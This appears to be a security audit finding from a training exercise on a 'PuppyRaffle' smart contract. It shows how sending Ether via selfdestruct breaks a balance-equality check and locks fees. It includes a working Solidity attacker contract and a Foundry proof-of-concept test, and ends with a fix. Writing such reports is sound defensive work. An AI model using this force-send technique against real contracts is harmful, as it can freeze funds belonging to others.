First Flight #2: Puppy Raffle

Summary

Initiating an Ethereum transfer through the 'selfdestruct' method triggers a Denial of Service (DOS) attack, which hinders the ability to withdraw fees.

Vulnerability Details

The withdrawFees function require balance to be equal to total fees:

require(address(this).balance == uint256(totalFees)

If we can find a way to make this statement false, fees will be stuck.

Balance can be changed by sending Ether to the contract but no receive or callback function exist in PuppyRaffle contract.

We can still send Eth by:

• creating a malicious smart contract

• send it some eth

• call selfdestruct function with the PuppyRaffle address as parameter.

Here a POC:

An example of a malicious SM:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract AttackSelfDestruct {
    address owner;

    constructor() {
        owner = msg.sender;
    }

    receive() external payable {}

    function attack(address victim) external {
        require(owner == msg.sender);
        selfdestruct(payable(victim));
    }
}

The test function

function testFeesStuck() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();

    (bool success, ) = address(attackSelfDestruct).call{value: 1}("");
    require(success, "Couldn't send to attack contract");
    attackSelfDestruct.attack(address(puppyRaffle));

    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();
}

Impact

withdrawFees() function will fail and fees will be stuck.

Tools Used

manual rewiew

Recommendations

Don't use balance in a requirement as it can easily be manipulated.
players.length can be used as it is deleted at the end of the selectWinner() function.

So changing

require(address(this).balance == uint256(totalFees)

with

require(players.length == 0)

should work fine.